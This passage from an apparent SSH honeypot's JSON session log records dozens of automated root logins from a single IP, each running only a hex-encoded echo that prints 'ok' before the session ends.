  "started_at": "2026-08-23T08:56:08.043373+00:00",
  "ended_at": "2026-08-23T08:56:09.230103+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "724b5b79-a74d-4b42-89e9-a833d0bfd9f6",
  "name": "oaken-fabled-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38044,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:56:01.883313+00:00",
  "ended_at": "2026-08-23T08:56:07.408271+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "016ca835-0d27-4ae6-8e29-8fd61a7b465c",
  "name": "keen-merry-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38028,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:55:59.630853+00:00",
  "ended_at": "2026-08-23T08:56:01.099626+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "777bfca6-b34f-4432-bfd8-02e802f87414",
  "name": "steady-austere-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40898,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:55:57.290231+00:00",
  "ended_at": "2026-08-23T08:55:58.902783+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5d0122b8-889c-445a-8f6c-7b3ee8964e6f",
  "name": "pristine-jolly-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40892,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:55:54.392468+00:00",
  "ended_at": "2026-08-23T08:55:56.508779+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "907c041a-b257-4fd0-9e15-612fdcb4b91c",
  "name": "orderly-graceful-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40888,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:55:51.966370+00:00",
  "ended_at": "2026-08-23T08:55:53.589521+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3f14c01f-b7d3-4d6c-9c7a-0d80802fb8f0",
  "name": "lofty-gloomy-skylark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40874,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:55:50.136294+00:00",
  "ended_at": "2026-08-23T08:55:51.162222+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2f199db4-9b86-49bb-a9b5-d33c3c0d6957",
  "name": "arctic-clever-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54766,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:55:47.307410+00:00",
  "ended_at": "2026-08-23T08:55:49.326264+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "26e06128-0835-40da-8163-20338b74c260",
  "name": "nimble-murky-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54752,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:55:45.510609+00:00",
  "ended_at": "2026-08-23T08:55:46.479227+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "862926f5-b3e6-4496-82b3-5fefa992166a",
  "name": "regal-electric-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54746,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:55:43.519905+00:00",
  "ended_at": "2026-08-23T08:55:44.685790+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6a88470b-e8e4-4d5e-8b13-bc297a645c9a",
  "name": "nameless-thawing-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54742,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:55:41.532367+00:00",
  "ended_at": "2026-08-23T08:55:42.815758+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4e97a4fb-1d70-4586-98b1-bf8674dc6b53",
  "name": "orderly-russet-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41720,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:55:36.318836+00:00",
  "ended_at": "2026-08-23T08:55:40.833791+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5122b127-a54b-4271-ac8f-215b415cdad2",
  "name": "nimble-wooded-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41708,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:55:34.534151+00:00",
  "ended_at": "2026-08-23T08:55:35.581907+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3f24a28b-0dc0-440c-8011-bcd6b44da1dd",
  "name": "nautical-mossy-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41700,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:55:32.028246+00:00",
  "ended_at": "2026-08-23T08:55:33.748604+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "67ed828b-f099-4337-b846-d4177eff92be",
  "name": "bitter-coastal-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41686,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:55:30.127717+00:00",
  "ended_at": "2026-08-23T08:55:31.343824+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c7303439-06d7-4f5f-aa34-055f493f5979",
  "name": "courtly-cheerful-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53490,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:55:27.931083+00:00",
  "ended_at": "2026-08-23T08:55:29.448473+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ebaa07d0-76ce-491f-8249-0197a9ffe4ae",
  "name": "drifting-dewy-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53476,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:55:26.143321+00:00",
  "ended_at": "2026-08-23T08:55:27.273118+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "aab0b152-8713-467e-8440-04e7ad8952a9",
  "name": "bashful-marine-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53470,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:55:23.385017+00:00",
  "ended_at": "2026-08-23T08:55:25.376191+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cd653ce3-9984-4d9a-aa32-ed239d96f28a",
  "name": "stoic-tangled-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53458,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:55:21.699029+00:00",
  "ended_at": "2026-08-23T08:55:22.745481+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8586862f-8322-41c3-b436-9b084f19332e",
  "name": "grumpy-verdant-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53452,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:55:19.460101+00:00",
  "ended_at": "2026-08-23T08:55:20.878970+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "15235015-239f-4bdf-ac08-727e793dde04",
  "name": "primal-drifting-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51370,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:55:17.203111+00:00",
  "ended_at": "2026-08-23T08:55:18.657581+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fbf70efb-257b-4018-a9b8-a1921bf15ccb",
  "name": "brazen-shaded-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51358,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:55:14.930936+00:00",
  "ended_at": "2026-08-23T08:55:16.427794+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3c5fc27c-2e58-4138-8038-04bdd0d3d586",
  "name": "solemn-vernal-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51346,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:55:13.297857+00:00",
  "ended_at": "2026-08-23T08:55:14.213312+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8646aaba-bf5b-4917-a390-468fd8811396",
  "name": "jaunty-somber-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51330,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:55:10.780078+00:00",
  "ended_at": "2026-08-23T08:55:12.551964+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "508c43eb-98fe-4f6a-9e16-968a769fd19b",
  "name": "wandering-feathered-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52970,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:55:08.367845+00:00",
  "ended_at": "2026-08-23T08:55:09.975531+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "20c88648-a284-4be0-b01a-8d19b0c2b471",
  "name": "stoic-woven-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52964,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:55:05.732270+00:00",
  "ended_at": "2026-08-23T08:55:07.704555+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7eae9223-fc8f-4103-b2dc-d8eee105b4c6",
  "name": "knotted-grassy-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52960,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:55:03.190387+00:00",
  "ended_at": "2026-08-23T08:55:04.948545+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "96d0c4bf-b2f9-4369-b87d-9193dddf6e00",
  "name": "crystal-quartz-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52954,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:55:00.810801+00:00",
  "ended_at": "2026-08-23T08:55:02.472233+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7591cb3e-d8a0-4372-9209-9f6969846fca",
  "name": "fabled-mindful-thrush",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52952,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:54:59.248376+00:00",
  "ended_at": "2026-08-23T08:55:00.140474+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3f746e8b-dbbc-4ef1-9d11-be4bd606a196",
  "name": "early-fabled-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41176,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:54:57.397485+00:00",
  "ended_at": "2026-08-23T08:54:58.454492+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c9e4f919-bdef-4f23-8e40-f88a9492aa2f",
  "name": "solar-jaunty-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41170,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:54:55.118344+00:00",
  "ended_at": "2026-08-23T08:54:56.738858+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "35b823cd-40e9-46ca-9dd3-6589d891e1ec",
  "name": "wiry-candid-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41156,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:54:52.772191+00:00",
  "ended_at": "2026-08-23T08:54:54.365208+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1815b376-3737-4501-868a-9592063bf80a",
  "name": "balmy-barren-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41142,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:54:50.538820+00:00",
  "ended_at": "2026-08-23T08:54:52.039886+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0e77af83-5c26-4cd6-91e0-4d56bab113a3",
  "name": "freckled-lively-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59310,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:54:48.333527+00:00",
  "ended_at": "2026-08-23T08:54:49.758792+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "05ad2520-c94b-404e-bcee-effd3542d435",
  "name": "whispering-wandering-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59294,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:54:46.258669+00:00",
  "ended_at": "2026-08-23T08:54:47.498883+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5689d622-5465-4d03-9742-3229ce6e5853",
  "name": "ginger-silent-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59282,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:54:44.366946+00:00",
  "ended_at": "2026-08-23T08:54:45.443966+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e1a3d450-00ba-494d-8709-77805131f11a",
  "name": "diligent-leafy-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59278,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:54:41.653124+00:00",
  "ended_at": "2026-08-23T08:54:43.605559+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fc68fd82-b850-4591-9bc7-163bef240683",
  "name": "hollow-cheerful-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59264,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:54:39.946072+00:00",
  "ended_at": "2026-08-23T08:54:40.898001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a7f5bfeb-7570-4b75-b9be-5abf30291bd5",
  "name": "chilly-lonesome-kiwi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34168,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:54:37.517235+00:00",
  "ended_at": "2026-08-23T08:54:39.284258+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bf9ab22c-eacf-4b9e-87a5-2008492f03a1",
  "name": "bold-frosty-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34152,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:54:35.122775+00:00",
  "ended_at": "2026-08-23T08:54:36.769648+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c403cef3-5cff-4583-be6b-09ac21a1003e",
  "name": "merry-lunar-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34148,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:54:33.342917+00:00",
  "ended_at": "2026-08-23T08:54:34.316019+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fa7721ce-a5f0-4f53-9f77-a3f43f2501be",
  "name": "kindly-craggy-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34138,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:54:30.612094+00:00",
  "ended_at": "2026-08-23T08:54:32.520755+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ee0f6c0d-142f-4885-bb1b-43580b175e4e",
  "name": "arctic-orderly-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34018,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:54:28.072300+00:00",
  "ended_at": "2026-08-23T08:54:29.824726+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "950cc714-567d-4f2a-aa1f-651e284afebc",
  "name": "craggy-restless-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34014,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:54:25.988126+00:00",
  "ended_at": "2026-08-23T08:54:27.239115+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fb9121c3-e3f8-4ed3-8798-75a5a2c8a4cd",
  "name": "silent-tidal-toucan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34010,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:54:24.264182+00:00",
  "ended_at": "2026-08-23T08:54:25.198901+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0990ec84-d538-4ae0-944a-ba926e3577b2",
  "name": "prickly-tender-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34008,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:54:22.056199+00:00",
  "ended_at": "2026-08-23T08:54:23.655040+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "31e6c3a3-10ac-4e41-9cf7-26b7ad900372",
  "name": "supple-mindful-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34004,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:54:19.543318+00:00",
  "ended_at": "2026-08-23T08:54:21.199143+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b0cf95e3-5b28-4c5e-97bb-01327b836749",
  "name": "frank-mossy-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51178,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:54:17.565107+00:00",
  "ended_at": "2026-08-23T08:54:18.860696+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bf5197fa-b312-46d4-973f-c56c702c2665",
  "name": "western-russet-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51176,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:54:14.593908+00:00",
  "ended_at": "2026-08-23T08:54:16.727889+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4ef68d90-69b1-4712-965c-9651427f67ee",
  "name": "ancient-vernal-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51164,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:54:12.739905+00:00",
  "ended_at": "2026-08-23T08:54:13.872814+00:00",
  "ended_reason": "exec complete",
